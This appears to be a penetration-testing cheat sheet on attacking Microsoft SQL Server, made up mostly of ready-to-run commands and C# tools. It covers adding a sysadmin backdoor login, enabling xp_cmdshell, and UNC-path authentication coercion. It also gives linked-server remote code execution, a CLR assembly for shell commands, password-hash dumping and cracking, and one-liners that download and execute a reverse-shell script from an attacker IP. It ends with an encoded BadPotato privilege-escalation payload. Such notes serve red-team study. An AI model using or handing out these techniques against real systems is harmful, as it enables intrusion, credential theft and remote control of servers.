MS SQL

Create a new login, map it to the db_owner user and assign the sysadmin role:

CREATE LOGIN [snovvcrash] WITH PASSWORD=N'Passw0rd!';
CREATE USER [snovvcrash] FOR LOGIN [snovvcrash];
ALTER ROLE [db_owner] ADD MEMBER [snovvcrash];
EXEC master..sp_addrolemember @rolename=N'db_owner', @membername=N'snovvcrash';
EXEC master..sp_addsrvrolemember @rolename=N'sysadmin', @loginame=N'snovvcrash';
EXEC master..sp_addremotelogin 'SQLSRV01\SQLEXPRESS', 'snovvcrash';

Check the state of xp_cmdshell:

SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

Enable xp_cmdshell:

1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC xp_cmdshell 'whoami'
2> GO

Enumeration

Current login name (SQL Server login or Domain/Windows username, like sa):

SELECT SYSTEM_USER;

Current database username (like msdb.dbo):

SELECT USER;

Test if current server role is public or sysadmin:

SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');

List databases:

SELECT name FROM master..sysdatabases;

List linked servers:

EXEC sp_linkedservers;

List logins available for impersonation:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

UNC Path Injection

SQL > EXEC master..xp_dirtree '\\10.10.13.37\share\test.txt';
PowerUpSQL > Get-SQLQuery -Instance "SQLSRV01.megacorp.local,1433" -Query "EXEC master..xp_dirtree '\\10.10.13.37\share\test.txt'"

Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 -> SQLSRV01 -> SQLSRV02:

EXEC sp_serveroption 'SQLSRV01','rpc','true';
EXEC sp_serveroption 'SQLSRV01','rpc out','true';

EXEC ('select SYSTEM_USER;') AT [SQLSRV01];
EXEC ('EXEC (''select SYSTEM_USER;'') AT [SQLSRV02];') AT [SQLSRV01];

EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV01];
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV02];') AT [SQLSRV01];

EXEC ('EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';') AT [SQLSRV01];
EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV02];') AT [SQLSRV01];

Abusing server links from C# code:

SqlCrawlLinks.cs
using System;
using System.Data.SqlClient;

namespace SqlCrawlLinks
{
    class Program
    {
        static string sqlQuery(string query, SqlConnection con)
        {
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            string result = "";
            try
            {
                while (reader.Read()) { result += $"{reader[0]}\n"; }
                result = result.Remove(result.Length - 1);
            }
            catch { }
            reader.Close();
            return result;
        }

        static void Main(string[] args)
        {
            // Authenticate
            string sqlServer = "SQLSRV01.corp1.com";
            string database = "master";
            string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] Auth success!");
            }
            catch
            {
                Console.WriteLine("[-] Auth failed");
                Environment.Exit(0);
            }

            // List linked servers
            string result = sqlQuery("EXEC sp_linkedservers;", con);
            Console.WriteLine($"[*] Linked SQL servers:\n{result}");

            // Enumerate current login on the linked server
            result = sqlQuery("select login from openquery(\"SQLSRV02\", 'select SYSTEM_USER as login');", con);
            Console.WriteLine($"[*] Executing as the login {result} at SQLSRV02");

            // Enable xp_cmdshell on the linked server
            sqlQuery("EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV02];", con);

            // RCE via EXEC at on the linked server
            result = sqlQuery("EXEC ('EXEC xp_cmdshell ''whoami'';') AT [SQLSRV02];", con);
            Console.WriteLine($"[*] xp_cmdshell at SQLSRV02 via EXEC AT: {result}");

            // RCE via OPENQUERY on the linked server
			sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC sp_configure ''show advanced options'',1; reconfigure; EXEC sp_configure ''xp_cmdshell'',1; reconfigure;');", con)
            sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';');", con);

            // Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02)
            sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV01];') AT [SQLSRV02];", con);
            sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV01];') AT [SQLSRV02];", con);

            con.Close();
        }
    }
}

Crawl links with MSF:

msf > use exploit/windows/mssql/mssql_linkcrawler
msf exploit(windows/mssql/mssql_linkcrawler) > set RHOSTS 192.168.1.11
msf exploit(windows/mssql/mssql_linkcrawler) > set USERNAME sa
msf exploit(windows/mssql/mssql_linkcrawler) > set PASSWORD Passw0rd!
msf exploit(windows/mssql/mssql_linkcrawler) > set DEPLOY true
msf exploit(windows/mssql/mssql_linkcrawler) > set VERBOSE true
msf exploit(windows/mssql/mssql_linkcrawler) > run

Crawl links with PowerUpSQL:

PS > Get-SQLInstanceDomain | Get-SQLConnectionTest
PS > Get-SQLServerInfo -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLQuery -Instance "sqlsrv01.megacorp.local,1433" -Query "select * from openquery(""sqlsrv02.megacorp.local"", 'select * from information_schema.tables')"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433" -Query "SELECT * FROM master..syslogins" | ft
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local\SQLEXPRESS" -Username sa -Password "Passw0rd!" -Query "SELECT name FROM master..sysdatabases"

LDAP Enumeration via OpenQuery

External Scripts

Enable external scripts:

EXEC sp_configure 'external scripts enabled,1';

Run Python code:

EXEC sp_execute_external_script
@language=N'Python',
@script=N'
with open(''c:\\inetpub\\wwwroot\\web.config'', ''r'') as f:
    print(f.read())
'

master.mdf

PS > Invoke-NinjaCopy -Path "C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\master.mdf" -LocalDestination "C:\Windows\Temp\master.mdf"
PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.RawCore.dll")
PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.Framework.dll")
PS > . .\Get-MDFHashes.ps1
PS > Get-MDFHashes -mdf "C:\Windows\Temp\master.mdf"
$ hashcat -m 132 -O -a 0 -w 3 --session=mssql -o mssql.out mssql.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule

C# Examples

MSSQL.cs
using System;
using System.Data.SqlClient;

namespace MSSQL
{
    class Program
    {
        static string sqlQuery(string query, SqlConnection con)
        {
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            string result = "";
            try
            {
                while (reader.Read()) { result += $"{reader[0]}\n"; }
                result = result.Remove(result.Length - 1);
            }
            catch { }
            reader.Close();
            return result;
        }

        static void Main(string[] args)
        {
            // Authenticate
            string sqlServer = "SQLSRV01.megacorp.local";
            string database = "master";
            string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] Auth success!");
            }
            catch
            {
                Console.WriteLine("[-] Auth failed");
                Environment.Exit(0);
            }

            // Enumerate login name (SQL Server login or Domain/Windows username)
            string result = sqlQuery("SELECT SYSTEM_USER;", con);
            Console.WriteLine($"[*] Logged in as: {result}");

            // Enumerate database username
            result = sqlQuery("SELECT USER;", con);
            Console.WriteLine($"[*] Mapped to the user: {result}");

            // Check if we have public role assigned
            result = sqlQuery("SELECT IS_SRVROLEMEMBER('public');", con);
            Int32 val = Int32.Parse(result.ToString());
            if (val == 1)
            {
                Console.WriteLine("[*] User is a member of public role");
            }
            else
            {
                Console.WriteLine("[*] User is NOT a member of public role");
            }

            // Invoke xp_dirtree to coerce authentication on attacker's machine
            string lhost = args[0];
            sqlQuery($@"EXEC master..xp_dirtree '\\{lhost}\test';", con);
            Console.WriteLine($"[*] Invoked xp_dirtree against {lhost}");

            // Enumerate logins that we can impersonate
            result = sqlQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';", con);
            Console.WriteLine($"[*] Logins that can be impersonated:\n{result}");

            // Impersonate sa user
            result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
            Console.WriteLine($"[*] Executing in context of impersonated user: {result}");

            // Impersonate dbo database user
            result = sqlQuery("use msdb; EXECUTE AS USER = 'dbo'; SELECT USER;", con);
            Console.WriteLine($"[*] Executing in context of impersonated login: {result}");

            // Execute OS commands via xp_cmdshell
            sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
            sqlQuery("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;", con);
            Console.WriteLine("[+] Enabled xp_cmdshell");
            result = sqlQuery("EXEC xp_cmdshell whoami", con);
            Console.WriteLine($"[*] xp_cmdshell: {result}");

            // Execute OS commands via Ole Automation Procedures
            sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
            sqlQuery("EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ", con);
            sqlQuery(@"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c echo Test > C:\Windows\Tasks\out.txt';", con);

            con.Close();
        }
    }
}

Custom Assemblies

Load and trigger custom assembly:

SqlCustomAssembly.cs
using System;
using System.Data.SqlClient;

namespace SqlProcedure
{
    class Program
    {
        static string sqlQuery(string query, SqlConnection con)
        {
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            string result = "";
            try
            {
                while (reader.Read()) { result += $"{reader[0]}\n"; }
                result = result.Remove(result.Length - 1);
            }
            catch { }
            reader.Close();
            return result;
        }

        static void Main(string[] args)
        {
            // Authenticate
            string sqlServer = "SQLSRV01.megacorp.local";
            string database = "master";
            string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] Auth success!");
            }
            catch
            {
                Console.WriteLine("[-] Auth failed");
                Environment.Exit(0);
            }

            // Impersonate sa user
            sqlQuery("EXECUTE AS LOGIN = 'sa';", con);

            // Drop existing procedure and assembly
            sqlQuery(@"use msdb; DROP PROCEDURE IF EXISTS SqlCmdExec;", con);
            sqlQuery(@"use msdb; DROP ASSEMBLY IF EXISTS myAssembly1;", con);

            // Enable CLR integration
            sqlQuery("use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security',0; RECONFIGURE;", con);
            Console.WriteLine("[+] Enabled CLR integration");
            // Create new assembly
            sqlQuery(@"CREATE ASSEMBLY myAssembly1 FROM 'C:\Windows\Tasks\SqlCmdExec.dll' WITH PERMISSION_SET = UNSAFE;", con);
            //sqlQuery(@"CREATE ASSEMBLY my_assembly FROM 0x31337... WITH PERMISSION_SET = UNSAFE;", con);
            Console.WriteLine("[+] Created new assembly");
            // Create new procedure
            sqlQuery(@"CREATE PROCEDURE [dbo].[SqlCmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly1].[StoredProcedures].[SqlCmdExec];", con);
            Console.WriteLine("[+] Created new procedure");
            // Trigger custom class for RCE
            string result = sqlQuery("EXEC SqlCmdExec 'whoami';", con);
            Console.WriteLine($"[*] SqlCmdExec: {result}");

            con.Close();
        }
    }
}

Custom assembly code example (must be compiled to SqlCmdExec.dll):

SqlCmdExec.cs
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec(SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format($@" /c {execCommand}");
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();
        proc.WaitForExit();
        proc.Close();
    }
}

Convert custom assembly DLL to a hex string:

Convert-AssemblyToHex.ps1
$assemblyFile = "SqlCmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File SqlCmdExec.txt

Tools

sqsh

$ sqsh -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/rev.ps1')"
2> GO

mssqlclient.py

$ mssqlclient.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 [-windows-auth]
SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.13.37/rev.ps1\")"

mssql_shell.py

Change MSSQL_SERVER, MSSQL_USERNAME and MSSQL_PASSWORD before running.

A scenario when abusing SeImpersonatePrivilege with PrintSpoofer (BadPotato):

$ python3 mssql_shell.py
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD pwn.exe \Windows\System32\spool\drivers\color\pwn.exe
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD Invoke-BadPotato.ps1 \Windows\System32\spool\drivers\color\potato.ps1
// . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Windows\System32\spool\drivers\color\pwn.exe"
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> powershell -enc LgAgAC4AXABJAG4AdgBvAGsAZQAtAEIAYQBkAFAAbwB0AGEAdABvAC4AcABzADEAOwAgAEkAbgB2AG8AawBlAC0AQgBhAGQAUABvAHQAYQB0AG8AIAAtAEMAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABzAHAAbwBvAGwAXABkAHIAaQB2AGUAcgBzAFwAYwBvAGwAbwByAFwAcAB3AG4ALgBlAHgAZQAiAAoA

mssql-cli

$ python -m pip install mssql-cli
$ mssql-cli -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'

PowerUpSQL

PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "project" -SampleSize 5 | select instance, database, column, sample | ft -autosize
PS > Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 -Username sa -Password 'Passw0rd!' -Verbose
PS > Get-SQLQuery -Instance "SQLSRV01.megacorp.local,1433" -Query "select @@servername"
PS > Invoke-SQLOSCmd -Username sa -Password 'Passw0rd!' -Instance sqlsrv01.megacorp.local -Command "whoami" -RawResults
PS > Invoke-SQLAudit -Instance WEB01 -Username sa -Password 'Passw0rd!' -Verbose

DAFT

ESC

SQLRecon

Last updated